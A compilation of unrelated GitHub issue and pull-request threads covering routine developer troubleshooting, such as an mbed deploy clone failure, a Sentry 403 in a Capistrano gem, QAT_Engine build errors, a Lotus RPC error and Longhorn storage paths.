https://git.yoctoproject.org/git/poky is gone

Problem
Our customer needs to build PDMC Linux for RPi3 and followed this instruction.
https://www.pelion.com/docs/device-management/current/connecting/linux-on-raspberry-pi-3.html
However, he and I are having permission failure when mbed deploy is called.
This is the failure log when -vv option is used.
We already have no-passphrase SSH key installed with github.
This is the log of my customer's.
krypton@krypton-PC:~/mbed-cloud-client-yocto-setup$ mbed deploy -vv
[mbed-1813] Working path "/home/krypton/mbed-cloud-client-yocto-setup" (program)
[mbed-1813] Exec "git remote -v" in "/home/krypton/mbed-cloud-client-yocto-setup"
origin	https://github.com/ARMmbed/mbed-cloud-client-yocto-setup (fetch)
origin	https://github.com/ARMmbed/mbed-cloud-client-yocto-setup (push)
[mbed-1813] Exec "git rev-parse HEAD" in "/home/krypton/mbed-cloud-client-yocto-setup"
cdeb462ea6fe9c628a21f37703ada7686e9fc98b
[mbed-1813] Adding library "poky" from "git://git.yoctoproject.org/poky" at rev #d240b885f26e
[mbed-1813] Trying to guess source control management tool. Supported SCMs: bld, git, hg
[mbed-1813] Exec "git clone git://git.yoctoproject.org/poky /home/krypton/mbed-cloud-client-yocto-setup/poky -v" in "/home/krypton/mbed-cloud-client-yocto-setup"
Cloning into '/home/krypton/mbed-cloud-client-yocto-setup/poky'...
Looking up git.yoctoproject.org ... done.
Connecting to git.yoctoproject.org (port 9418) ... <IP_ADDRESS> done.
remote: Counting objects: 444032, done.
remote: Compressing objects: 100% (104991/104991), done.
remote: Total 444032 (delta 332300), reused 443571 (delta 331843)
Receiving objects: 100% (444032/444032), 156.27 MiB | 1.23 MiB/s, done.
Resolving deltas: 100% (332300/332300), done.
[mbed-1813] ERROR: OS Error: Permission denied

I went a little deeper and found out that https://git.yoctoproject.org/git/poky is gone. And this simple cloning does not work.
andcho01@bc-a1-1-3:~/code/mbed-cloud-client-yocto-setup$ git clone<EMAIL_ADDRESS>Cloning into 'poky'...
Permission denied (publickey).
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

There is business to be made and do we have any chance backup clone for that repository?
Thanks,

Hi @andrewc-arm thanks for the report.
I will check what might be the issue. The poky seems to be fine.

ARM Internal Ref: IOTCLT-3545

If you have defined for. ex. "mbed config -G protocol ssh" then it will try by default to use secure mode.
In that case overriding that with "mbed deploy --protocol git" should allow deploying the poky correctly.

Thanks for the support, @teetak01 !


Raise all exceptions from request

About
When hitting the rate limit using ctx.message.edit(files=[...]) the following trace is logged:
Traceback (most recent call last):
  File "/usr/local/lib/python3.8/dist-packages/interactions/api/http/request.py", line 146, in request
    async with self._session.request(
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/client.py", line 1141, in __aenter__
    self._resp = await self._coro
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/client.py", line 508, in _request
    req = self._request_class(
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/client_reqrep.py", line 313, in __init__
    self.update_body_from_data(data)
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/client_reqrep.py", line 517, in update_body_from_data
    size = body.size
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/multipart.py", line 871, in size
    if encoding or te_encoding or part.size is None:
  File "/usr/local/lib/python3.8/dist-packages/aiohttp/payload.py", line 379, in size
    return os.fstat(self._value.fileno()).st_size - self._value.tell()
ValueError: I/O operation on closed file

It appears the files are closed before the request is sent (or retried). This only happens in a rate-limit scenario. I dug into the code and I can't see a reason hide all errors that aren't LibraryException.
Sorry, I haven't tested this code (I'm doing this just before heading out). Just raising here for discussion, will send test results soon.
Checklist

[ ] The pre-commit code linter has been run over all edited files to ensure the code is linted.
[ ] I've ensured the change(s) work on 3.8.6 and higher.

I've made this pull request: (check all that apply)

[ ] For the documentation
[ ] To add a new feature
[ ] As a general enhancement
[ ] As a refactor of the library/the library's code
[x] To fix an existing bug
[ ] To resolve #ISSUENUMBER

This is:

[ ] A breaking change

Closing this as this is not following our contribution requirements. Please read them here before opening a new pull request. Also please give an in-depth explanation on what the benefit from raising the exception instead of logging it is


PWA-148: [ux] Dialog buttons are in the wrong order

adjust order of actions for button creation

Pull Request Test Coverage Report for Build 1227

1 of 2 (50.0%) changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 44.33%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

components/Dialog/index.jsx
1
2
50.0%

Totals

Change from base Build 1224:
0.0%

Covered Lines:
1856

Relevant Lines:
4031

💛  - Coveralls


Remove extra wrapping of errors in visit

It doesn't add any information and is very distracting

/lgtm


Add performance scenario of nearley without tokenizer

Seems to be recommended in their docs to use a tokenizer for performance reasons.
So this probably won't fit the methodology of using the most optimized manner of each library.


installation not allowed by "kubernetes-support" plug rule

Hello,
I am trying to install the EKS-D snap on Ubuntu 20.04.2 LTS, and I am getting this error message:
error: cannot perform the following tasks:

Mount snap "eks" (5) (installation not allowed by "kubernetes-support" plug rule of interface "kubernetes-support")

I first installed snaps for both Docker and MicroK8s in the OS, and then ran this command:
sudo snap install eks --classic --edge

I tried this in a Ubuntu 20.04.2 LT instance in Google Cloud Platform, as well as in a VM on Oracle VirtualBox, and get the same results.
Here is the output of 'microk8s inspect'.
inspection-report-20210213_175213.tar.gz
Is there anything else I need to do before installing the EKS-D snap?
Thanks,
Tony Iams

I have the same issue on Ubuntu 18.04 LTS. Installation worked some weeks ago but now same error.
Using for example microk8s channel 1.20 just succeeds without problems.

@youwalther65 @tonyespy appologies for the inconvenience. This plugin is for work that is about to be released. I have reverted this change. You should be able to deploy the snap now.


Sentry permission error

I have created a sentry_api_token through https://sentry.io/settings/account/api/auth-tokens/ with all possible permissions. Yet, we are still seeing the following permission problem.
WARN  Cannot notify sentry for new release. Response: "403": {"detail":"You do not have permission to perform this action."}

Could the repository be out of sync with Sentry api updates?

It works for us (we used it almost every day). A permission seems to be missing on your token. Did you add project:releases permission to your token?

It works for us (we used it almost every day). A permission seems to be missing on your token. Did you add project:releases permission to your token?

These are the permissions added on the token:

If you have added your token in config/deploy.rb (with set :sentry_api_token, '012...def'), I don't think that the problem comes from this gem. I checked Sentry API and the gem is on current version of Sentry API.
I found a page talking about 403 error on Sentry: https://sentry.zendesk.com/hc/en-us/articles/29148599669019-Sentry-is-not-available-seeing-403-Forbidden
Do you think you are concerned by that?

Hmm, that is interesting! I can't imagine it being that though, since we run in AWS regions eu-central-1 (Frankfurt, Germany). I did a curl request to https://sentry.io to check and i'm not getting the 403. So I don't think we are falsely matched as russian ip.
This is weird though! I have also double checked it is a user token, and not an organisation / project token.
Is there any way I can enable some debugging output to see what calls are actually being done perhaps?
Thanks helping!

So I just did a quick test with the sentry api by running:
curl -H 'Authorization: Bearer XXX' https://sentry.io/api/0/organizations/XXX/projects/

And it works perfectly! So the api key and access seem to be fine 🤔.

Yeah, i've checked those values as well.. I just did a manual post of a new release and it worked no problem as well. Now, to make it even more confusing, I just noticed the releases are actually present in Sentry!
So I did an isolated test of a new deploy, with a new release version, it gave me the 403 error in capistrano, but then I refresh the releases page in sentry and it was actually added!
Looking at the code in /lib/capistrano/tasks/sentry.rake L75 I do notice a second api call to also post the actual deploy. Both calls have the same error output, so it is hard to tell on which of the 2 calls we get the 403. In Sentry, there was only the release but not the deploy, so I assume it was the second call that failed.
I posted the deploy manually, and it worked and was then shown in sentry.
Could it be that the call to create the deploy happens too fast, so sentry has not actually finished creating the release yet? This would explain they 403 error in capistrano, but the release existing in sentry anyway.

I don't think that’s a concurrency issue. The initial error message you had (Cannot notify sentry for new release.) happens when the first request fails. You should have Cannot notify sentry for new deployment when deploy creation fails.
It’s really confusing indeed, the error message you had "says" that authentication is good, but not authorization, but you added all the permission to the token... 🤯
On my side, I can reproduce the error only with a token without project:releases permission...


the error when install QAT_Engine-0.5.46

when i install QAT_Engine-0.5.46,i meet an error.
configure is passed,but when i make,find many error bellow:
qat_ecx.c:1179:28: error: request for member ‘x’ in something not a structure or union
if (qat_ecx_op_data->x.pData != NULL) {
^
qat_ecx.c:1180:44: error: request for member ‘x’ in something not a structure or union
OPENSSL_cleanse(qat_ecx_op_data->x.pData, QAT_X448_DATALEN);
^
qat_ecx.c:1181:52: error: request for member ‘x’ in something not a structure or union
qaeCryptoMemFreeNonZero(qat_ecx_op_data->x.pData);
^
make[1]: *** [qat_ecx.lo] Error 1

thanks a lot

Hi @alanwong99 ,
Can you please  let us know what driver version you are using? I am guessing you are using older driver version which doesn't have support for X25519/X448 ? If yes please use 4.10 driver version which has all the support for v0.5.46 .
If the driver version used is 4.10 then could you please share config.log output as that will help to root cause the issue.

Hi@Yogaraj-Alamenda
my old driver version is 4.5，when i update it to 4.10，the error is fixed。
thank your help！


If the stream is invalid, the client hangs until long after it disconnects from the server

MC: 1.10.2
Forge: <IP_ADDRESS>5
OFM: <IP_ADDRESS>
Pretty much as the title says. It's making it impossible to login to my server as there's a misconfigured radio at spawn.

For a little more context, we downloaded a .pls file like this.
[playlist]
NumberOfEntries=1

File1=http://<IP_ADDRESS>:9766

That URL actually points to a webpage instead of the stream URL. My client had been frozen for 5+ minutes, so I'm restarting with streams disabled in the config so I can turn off this radio

Putting the URL: http://<IP_ADDRESS>:9766  Directly into my player plays fine.  I'd like to point out though that their site links to the AAC playlist when clicking the MP3 link.. which made for lots of fun trying to debug. Since OpenFM has a half functioning AAC decoder implemented (That caused EXACTLY the same issues you described here)

Turns out they have the links backwards... the AAC playlist links to the MP3 stream, and the MP3 playlist links to the AAC stream.

Wasn't aware you could just stick the pls files into it.
Hang is pretty bad either way though, is there any chance of some kind of scheduler?

The hang was because it was activating the broken AAC decoder.. which is broken... which should not have happened as it's broken and was supposed to be disabled.  And will be in the next build.

Gotcha, thanks.


feat: pass environment variables and build flags to build target

This PR introduces two new properties to the build target options property to pass environment variables and build flags to the go build command. Cross-compiling is a common usecase which requires environment variables and build flags.
Example of build target options:
"build": {
  "executor": "@nx-go/nx-go:build",
  "options": {
    "outputPath": "dist/apps/lambda",
    "main": "apps/lambda/main.go",
    "env": ["GOOS=linux", "GOARCH=amd64"],
    "flags": ["-ldflags=\"-s -w\""]
  }
}

which will result in the command:
GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o dist/apps/lambda apps/lambda/main.go

@beeman we should merge this, it will be a nice quality of life improvement.

@asterikx thanks for the contribution! I left one question about the output path.

@asterikx we should expand this contribution with unit tests to validate the feature is behaving correctly as well as address @beeman question.
If you don't have time for this I am more than happy to pick it up and complete the changes.

Any updates on this?

Any updates on this?

I will take a look and come back at it

Superseded by https://github.com/nx-go/nx-go/pull/89

Thanks for your contribution @asterikx.
This PR Is superseded by https://github.com/nx-go/nx-go/pull/89 and released as version 2.8.0.


Explicit convert color to string when compile resources

Description

One of the big problems when debugging #4995 for me was that get_colorized_svg signature expects color to be a string, and we pass pydantic.color.Color to it. So I lost time digging into what could go wrong and why we passed unexpected arguments.
As follow up we could simply convert color to string before this phase (what is done in this PR) or update the signature of get_colorized_svg to assume that we could accept Color class also to convert it into a string later.
I personally prefer the conversion way, but if you think of another way, the signature update is also ok.
Type of change

[x] Refactor

References

How has this been tested?

[ ] example: the test suite for my feature covers cases x, y, and z
[ ] example: all tests pass with my change
[ ] example: I check if my changes works with both PySide and PyQt backends
as there are small differences between the two Qt bindings.

Final checklist:

[ ] My PR is the minimum possible work for the desired functionality
[ ] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[ ] I have added tests that prove my fix is effective or that my feature works
[ ] If I included new strings, I have used trans. to make them localizable.
For more information see our translations guide.

This pr reproduce current behaviour when we do implicit conversion by passing color as format argument.

This pr reproduce current behaviour when we do implicit conversion by passing color as format argument.

Understood. Just pointing out that the behavior of string conversion for Pydantic's Color is a little complex, but also entirely reasonable.

@andy-sweet I see you have approved - would you suggest that we switch to always using hex codes or keep the current behaviour in this PR?
Marked as 'merge for 0.4.17'!

I agree, there's no need to be magic where users are not involved; I vote for hex!

Multi-approved and simple change. Merging!


crypto/tls/test: server listens on localhost

Previously, the test server would bind to all interfaces, which leads to a very annoying error message on Mac computers, and may expose the server to public access which can only be a bad thing, in a test context.
Updates #381.

I believe the build failure is a flake: https://github.com/grafana/dskit/issues/398


Improve documentation

Hi,
This is really useful project thanks for that. Anyway I would like to suggest some README improvements:

add info about .modernizrrc available options by linking https://github.com/Modernizr/Modernizr/blob/master/lib/config-all.json (like in https://www.npmjs.com/package/modernizr-webpack-plugin)
rearrange  instructions. As it is a webpack loader I think that require and import code blocks should be placed after webpack.config example file with an information where you should write require code (it should be written in your code not in the webpack.config which may not be so obvious)

If you like this suggestions I may send a PR.

Hey! Thanks for your suggestions. Feel free to send a PR 👍

I'm happy to help too as I stumbled a bit on not setting "setClasses: true". Without that I was not getting all css classes added for my tests.

As I finished my minimal example for #13 I think I may share it as a reference for other WP Sage theme users. Here is my repo and specific example commit which adds modernizr-loader https://github.com/jmarceli/modernizr-loader-sage/commit/f895441cef232e957e0f5feaa2eafc01a64ca9fd
What do you think? Should I modify README or place it in the Wiki or maybe leave it alone :)

@flootr I'd like to add to the README to include the option of adding modernizr to an entry point in webpack.config.js if only used in CSS and therefore importing into modules isn't necessary. For those just using it for CSS this is far simpler and avoids an unused import or finding an arbitrary place to require Modernizr.
// ...
entry: {
    main: ['modernizr', './your/javascript/modules'],
},
// ...

This sounds like an useful info for me but it should be somehow separated from base configuration in order not to mislead people.

Ok why don't I do a pull request for what I've done and we can iterate in that?
Sent from my iPhone

On 29 Jun 2016, at 17:45, jmarceli<EMAIL_ADDRESS>wrote:
This sounds like an useful info for me but it should be somehow separated from base configuration in order not to mislead people.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Ok why don't I do a pull request for what I've done and we can iterate in that?

Go for it 👍

@stevegibbings investigating further it is even easier to import 'modernizr' than modify webpack config file. I think that the result is similar but this way if we need it in JS it is enough to change import 'modernizr' to import Modernizr from 'modernizr'.
I see no drawbacks of that approach and I would favour it over modifying a config file.

Yes I can see how that would work.
Sent from my iPhone

On 8 Nov 2016, at 11:51, jmarceli<EMAIL_ADDRESS>wrote:
@stevegibbings investigating further it is even easier to import 'modernizr' than modify webpack config file. I think that the result is similar but this way if we need it in JS it is enough to change import 'modernizr' to import Modernizr from 'modernizr'.
I see no drawbacks of that approach and I would favour it over modifying a config file.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


Fixed incorrect JSdoc syntax

Just saw this while quickly reading through the code ;)

Oh !
Indeed, I was a bit quick in there, thanks ;)

Oh right !
Thanks for spotting it :) !


Use gRPC compression (if possible)

With gRPC compression, we may be able to eliminate any need to compress specs before uploading them, moving compression into the gRPC API client.
This would need to be supported by any API proxies that we use.
Background: How to enable GRPC compression in Go

It appears that gRPC libraries apply message size limits to uncompressed messages. That's unfortunate for us. I've noticed this with Go and later found this related issue.

The grpc-go library also enforces message size limits on uncompressed payloads. Based on this, I think we should still enable compression for performance reasons but we can't rely on it for payload compression.
For context, one of the largest OpenAPI specs that we've seen is one for the Microsoft Graph API. Uncompressed it is a bit under 16MB and with gzip compression it is ~650KB.

See also #200


Adding weekdays labels inside the day view in responsive mode

Hi,
I managed to get the calendar to be responsive using media query. But my challenge is getting the removing weekdays labels from the top  and adding them inside the day view block.
like this

Sorry I don't quite get what you mean, can you show me a screenshot of your actual app?

Hi Matt,
Normally the calendar in full view has the days label at the top.

I managed to add some styling and make this calendar to be responsive. So my challenge is to  add weekdays labels (Mon, Tue, etc ) inside the day cell in responsive view like, please check the below screen dump


Add <textarea> element

Couple of notes:
I used compute_from: html.elements.textarea, which works for most things, but there are a few newer attributes that aren't baseline, for example: html.elements.textarea.placeholder.line_breaks and html.elements.textarea.wrap.hard

@ddbeck - same question about groups


Add Navagation

add navbar & navagation icons  and page transtion transition in project

hi i want to work on this project can u assign me


Try and make AnnouncerTest a bit more predictable

Indentation changes make this look bigger than it is.

:+1:


VSCode Extension can't register modules

It seems the current VSCode extension is busted.
Current behavior
Can't seem to register modules and thus use the extension.
Stack Traces
(If applicable)
Screenshots
(If applicable)
Steps to replicate behavior

Install extension
Can't select modules for use with the extension.

Library & System Information
Windows, Mac both recreated this issue.
Expected behavior
We can click and add modules.
Additional context
Add any other context about the problem here.

let's manage these under the vscode extension repo? I discourage sharing / showcasing the extension until we allocate some time to scope features, do some bug fix, and add some basic tests


"unknown node type 0" when calling RPC method 'Filecoin.Version' on Localnet

I'm not sure whether this issue belongs on this repository or with Lotus, but since I'm using the Localnet setup from this repo I'll open it here. Let me know if I should move it to Lotus.
With the latest master of this repo (a2048ee8d580d16b17698358d0ade3f1285150ee) I am getting the following error when calling RPC method 'Filecoin.Version':
{"jsonrpc":"2.0","id":1,"error":{"code":1,"message":"unknown node type 0"}}

Steps to reproduce
cd docker
make localnet

Wait until started. Then in a separate terminal:
curl -X POST \
    -H "Content-Type: application/json" \
    --data '{ "jsonrpc": "2.0", "method": "Filecoin.Version", "params": [], "id": 1 }' \
    'http://<IP_ADDRESS>:7777/rpc/v0'

Environment
Operating System: macOS Big Sur 11.1
Docker Version: Docker Desktop 3.1.0

Thanks for the report :)
I think it's related to the bootstrap process of the kind of API exposed by the miner.
Some Lotus related code from where the error comes:
  const (
          NodeUnknown NodeType = iota

          NodeFull
          NodeMiner
          NodeWorker
  )

  var RunningNodeType NodeType

  func VersionForType(nodeType NodeType) (Version, error) {
          switch nodeType {
          case NodeFull:
                  return FullAPIVersion, nil
          case NodeMiner:
                  return MinerAPIVersion, nil
          case NodeWorker:
                  return WorkerAPIVersion, nil
          default:
                  return Version(0), xerrors.Errorf("unknown node type %d", nodeType)
          }
  }

I'd say might be relevant to this repo.  This should only affect calling this Version API.
Whenever I have some time gap I can take a look.

I'm getting the same error when I try to execute any command using lotus client binary connected to powergate's textile/lotus-devnet. Is textile/lotus-devnet just a mock? without any Filecoin normal functionality?

I solved the issue by using old Lotus of version 1.10.0
First download old binaries wget https://github.com/filecoin-project/lotus/releases/download/v1.10.0/Lotus-v1.10.0-x86_64.AppImage
Then
FULLNODE_API_INFO=/ip4/<IP_ADDRESS>/tcp/7777/http ./Lotus-v1.10.0-x86_64.AppImage client retrieve QmWX5VPrE899oH6q8i3fkoQzyqo5VtLmY9r634Ln3axrQC output

2022-11-22T13:19:22.288+0100	WARN	cliutil	util/apiinfo.go:81	API Token not set and requested, capabilities might be limited.
> Recv: 0 B, Paid 0 FIL, ClientEventOpen (DealStatusNew)
> Recv: 0 B, Paid 0 FIL, ClientEventDealProposed (DealStatusWaitForAcceptance)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventBlocksReceived (DealStatusWaitForAcceptance)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventAllBlocksReceived (DealStatusWaitForAcceptance)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventDealAccepted (DealStatusAccepted)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventLastPaymentRequested (DealStatusAccepted)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventPaymentChannelAddingFunds (DealStatusPaymentChannelAddingInitialFunds)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventPaymentChannelReady (DealStatusPaymentChannelAllocatingLane)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventLaneAllocated (DealStatusOngoing)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventLastPaymentRequested (DealStatusFundsNeededLastPayment)
> Recv: 94.63 KiB, Paid 0 FIL, ClientEventSendFunds (DealStatusSendFundsLastPayment)
> Recv: 94.63 KiB, Paid 0.000000000000193794 FIL, ClientEventPaymentSent (DealStatusFinalizing)
> Recv: 94.63 KiB, Paid 0.000000000000193794 FIL, ClientEventComplete (DealStatusCompleted)
Success


Unseen count returning a 404

I've installed the code and no problems, except the node server outputs the following every couple of minutes:
GET /api/notifications/unseen_count 404 xx.yyy ms - 1195

Hello, sorry for the late response. In the current version I could not find this issue


Read-only props

It would be nice if Muban supports props which are only readable from outside, but not writable.

Maybe we can add a .readOnly() to the propTypes specification.
It would need to make that information available in the type, so it can be used to type the setProps(props) parameter – that is used for the bindings – and of course to be available during runtime to throw an error if a readonly (or any unknown prop) is passed.
@jspolancor any thoughts?


[#436] Fix invalid workflow bug for publish wiki workflow

close #436
What happened 👀

Fix invalid workflow file bug for publish wiki workflow.

Insight 📝

with section wasn't getting access to secrets context.

    with:
      USER_NAME: github-wiki-workflow
      USER_EMAIL: ${{ secrets.GH_EMAIL }}
    secrets:
      USER_TOKEN: ${{ secrets.GH_TOKEN }}

Introduced .env section to read USER_EMAIL from secrets context and used that variable in with section

env:
  USER_EMAIL: ${{ secrets.GH_EMAIL }}
jobs:
  publish:
    name: Publish Wiki
    uses<EMAIL_ADDRESS>    with:
      USER_NAME: github-wiki-workflow
      USER_EMAIL: $USER_EMAIL
    secrets:
      USER_TOKEN: ${{ secrets.GH_TOKEN }}

Proof Of Work 📹
https://github.com/mosharaf13/rails-template-wiki/actions/runs/5473867743/workflow

Hi Mosharaf, related to this RFC, and also based on the votes, I think we should better take this opportunity to convert to using the publish-github-wiki-action instead.
Please let us know if you faced any obstacles when implementing it, thank you!!!!

Fixed in e608fae8ce6a70b88840e00734d210661a2d376b
Thanks for the suggestion. I used the workflow file suggested in the RFC with new github action. Please let me know if anything needs to be changed.


Path string should create starting M implicitly

The following:
    <path fill="green" d="L100,100 100,100"/>

Results into a segment sequence LL but should be MLL where the starting coordinate pair of the first segment is taken as moveTo first implicitly.

SVG Path syntax requires a moveTo as first segment in a segment list


not defining properties until the connectedCallback for Elements

For https://github.com/canjs/can-define-class/issues/31.

How does this work with the lifecycle stuff's initialize hook? Should this be implementing initialize?

The lifecycle stuff will call the setup function in the initialize hook. It basically looks like this right now:
module.exports = function mixinDefineClass(Base = HTMLElement) {
        return class Defined extends dFine(Base) {
                construct(props) {
                        super.construct(props);
                        this[constructorPropsSymbol] = props;
                        this.constructor._initDefines();
                }

                initialize() {
                        super.initialize();
                        this.setup.call(this, this[constructorPropsSymbol], false);
                }
        };
};


Create initial version of the CONTRIBUTING.md file

This PR add a contributing guideline that express the current state of the master branch. Future Pull Requests will update this file with test or build instructions as we add them into the project.
Why is the file named CONTRIBUTING.md?
If you create a file with this name in the root of the project, Github links it when someone tries to create a new issue or Pull Request:

@impress/mergers

Apart my comments, I'm :+1: on this :smile:

@Pierstoval Thanks for the review.
If possible, could you please check again for sanity sake? Thanks!

Apart the https things, everything's ok to me :)

@Pierstoval done. If everything is still ok, just thumbs up.

:+1:


feat: add react to & typescript content

apply typescript on reactjs project from VELOPERT

공유 감사합니다! :) 👍 👍


SPIKE: Should the port forwarding be running asynchronously from the main reconciliation loop?

Potentially, this would let us port forward somewhere whenever something is running, but it could also introduce problems with knowing what to port forward to, or when to stop and switch.

Closing per @chanwit's suggestion.  No longer relevant.


[BugFix] set _column_pool_memory_tracker be shared_ptr for gracefully exit BE (backport #17687)

What type of PR is this：

[x] BugFix
[ ] Feature
[ ] Enhancement
[ ] Refactor
[ ] UT
[ ] Doc
[ ] Tool

Which issues of this PR fixes ：

Fixes #
Problem Summary(Required) ：

Checklist:

[ ] I have added test cases for my bug fix or my new feature
[ ] This pr will affect users' behaviors
[ ] This pr needs user documentation (for new or modified features or behaviors)

[ ] I have added documentation for my new feature or new function

Bugfix cherry-pick branch check:

[x] I have checked the version labels which the pr will be auto backported to target branch

[ ] 2.5
[ ] 2.4
[ ] 2.3
[ ] 2.2

run starrocks_be_unittest

run starrocks_be_unittest

run starrocks_clang-format


Adds the ability to use compound variable declarations.

This PR enables you to define multiple variables in one statement/line (see the updated test file for the different variations that are supported).

I like how this looks, but I've shied away from this for now because I worry that it may have some weird corner cases or prevent us from doing other stuff we might want later.
In particular, in a previous language I hacked on, you could declare multiple variables in a single statement, but it did so by doing destructuring assignment, like:
``
var a, b = 1, 2

This is more powerful than just declaring multiple variables in a single statement, because it pulls the values out of composite objects. I don't know if that will be a good fit for Wren but I'm hesitant to rule it out.

There's also some confusing cases like:

var a = 1, b = a // Is this valid?
var a = b, b = 1 // What happens here?
var a, b = 1 // Is a initialized or not?

Of course, these are solvable problems. It just makes me wonder if the feature is really worth the complexity. I'm trying *really* hard to keep Wren as minimal as possible.

Maybe it's just me, but the JS style of:

```js
var a = 1,
    b = 2,
    c = 3;

Has been particularly appealing to me since it doesn't actually save any space and actually makes it a bit harder to refactor that code. I tend to just do a var on each line.
What do you think?

Lots of good points which I didn't have in mind when I was tinkering with this feature. It's not clear that the solution I've proposed in this PR is the right solution even if you decide to add some sort of compound variable declaration to wren.

Lots of good points which I didn't have in mind when I was tinkering with this feature.

I'll just reiterate that even though this got closed, your tinkering is totally awesome. It's still a really good exercise for learning your way around the compiler code. :)


Add icons

Add Epic Icons for parent_of and child_of
Automatically move an issue linked to a PR to the needs review column and hid the PR
Add remaining Icons
For depends on if closed issue show tick, if open issue show stop to indicate that the main issue is still in progress
For Epics, show child issue as related to the parent issue

Rebased on top of master and merged via https://github.com/nikku/wuffle/commit/34e6031b8ea019a95d19e62ee0fdd24254816d3c.

I've excluded your automatic-dev-flow changes as I'd like to understand that matter a bit better. Is that the same https://github.com/nikku/wuffle/issues/28 is about?
Anyway, I've pushed that part of the PR to https://github.com/nikku/wuffle/tree/dev-flow-link-movement.

@nikku The automatic dev-flow changes are to move a linked issue to the needs review column if a linked PR is opened. This will also hid the PR as a separate card as the issue with the linked PR will be displayed instead.


fix: opentofu customization detection logic

Contributor Comments
tofuenv shows versions without the v prefix, but the OpenTofu project themselves use a v prefix; this aligns our hooks and entrypoint so it doesn't show that it has been customized unless it actually was.
Pull Request Checklist
Thank you for submitting a contribution to our project!
In order to streamline the review of your contribution we ask that you review and comply with the below requirements:

[X] Rebase your branch against the latest commit of the target branch.
[X] If you are adding a dependency, please explain how it was chosen.
[X] If manual testing is needed in order to validate the changes, provide a testing plan and the expected results.
[X] If there is an issue associated with your Pull Request, link the issue to the PR.
[X] Validate that documentation is accurate and aligned to any project updates or additions.

Don't forget our more detailed contribution guidelines here.

@ChiefHolland or @seanctech ready when you are to take a look at this one. Bugfix only


Fix inverted confusion_matrix axis

This is related to issue #565
confusion_matrix accepts two arrays, but the first one should be the true value, the second one should be the predictions made to be compared. It was inverted right here.

The only known issue with this fix is that, when no predicted classes are found (ie: classes that have no prediction made with the test you're running), some warnings from sklearn and a bad graph gets outputted, since there are missing classes in output. I think this is a "wontfix" case, since the input data is malformed (not all classes are present), but an improvement would be to always display class name, regardless of it being present or not.

FYI, days after this, it looks 100% good and have seen no side effects whatsoever on multiple datasets.

Thank you, this looks good!


fix from get-upgrades to get-versions

I have tried this section. Then I found invalid command. Details below,
az aks get-upgrades --name esakscluster --resource-group MCACS-AKS
az aks: error: argument _subcommand: invalid choice: get-upgrades
usage: az aks [-h]
              {browse,create,delete,get-credentials,get-versions,install-cli,install-connector,list,remove-connector,scale,show,upgrade,wait}
              ...

Dear Yamamoto-san,
Thank you so much for your confirmation and pull request.
If it is possible, could you confirm which version of Azure CLI (az) command you are using?
Perhaps, you might use the old version of az command.
And also I shouldn't have been wrote the actual version number(2.0.27) which I'm using.
I'm very sorry.
I'm using 2.0.27 (latest version)
$ az --version
azure-cli (2.0.27)

And in 2.0.27, the "get-upgrades" command is included.
$ az aks -h

Group
    az aks: Manage Azure Kubernetes Services.

Commands:
    browse           : Show the dashboard for a Kubernetes cluster in a web browser.
    create           : Create a new managed Kubernetes cluster.
    delete           : Delete a managed Kubernetes cluster.
    get-credentials  : Get access credentials for a managed Kubernetes cluster.
    get-upgrades     : Get the upgrade versions available for a managed Kubernetes cluster.
    get-versions     : Get the versions available for creating a managed Kubernetes cluster.
    install-cli      : Download and install kubectl, the Kubernetes command-line tool.
    install-connector: Install the ACI Connector on a managed Kubernetes cluster.
    list             : List managed Kubernetes clusters.
    remove-connector : Remove the ACI Connector from a managed Kubernetes cluster.
    scale            : Scale the node pool in a managed Kubernetes cluster.
    show             : Show the details for a managed Kubernetes cluster.
    upgrade          : Upgrade a managed Kubernetes cluster to a newer version.
    wait             : Wait for a managed Kubernetes cluster to reach a desired state.

As you can see the above, az command is added the "get-upgrades" command.
$ az aks get-upgrades -h

Command
    az aks get-upgrades: Get the upgrade versions available for a managed Kubernetes cluster.

Arguments
    --name -n           [Required]: Name of the managed cluster.
    --resource-group -g [Required]: Name of resource group. You can configure the default group
                                    using `az configure --defaults group=<name>`.

Global Arguments
    --debug                       : Increase logging verbosity to show all debug logs.
    --help -h                     : Show this help message and exit.
    --output -o                   : Output format.  Allowed values: json, jsonc, table, tsv.
                                    Default: json.
    --query                       : JMESPath query string. See http://jmespath.org/ for more
                                    information and examples.

It's my bad. My version is azure-cli (2.0.25).
Thanks.


default storage path in helm deployment

I have tried to install longhorn in my 3 node k3s cluster. I do not really understand why this causes some files to be stored in /var/longhorn and similar files in /var/lib/rancher/longorn
I would like to have a consistent behaviour. It looks like real disk images are stored in /var/longhorn and the controller binaries are stored in the other folder.

I have tried to create a volume in /var/longhorn and create a symbolic link from /var/lib/rancher/longhorn to it.
But now I cannot create any volume:
longhorn-system/longhorn-manager-74bmt[longhorn-manager]: time="2020-02-14T21:43:31Z" level=warning msg="pvc-f92e5ed6-f7b6-4125-886b-3e5a595a2103-r-3e7111d1: time=\"2020-02-14T21:41:24Z\" level=info msg=\"Creating volume /host/var/lib/rancher/longhorn/replicas/pvc-f92e5ed6-f7b6-4125-886b-3e5a595a2103-d075eb0f, size<PHONE_NUMBER>/512\""
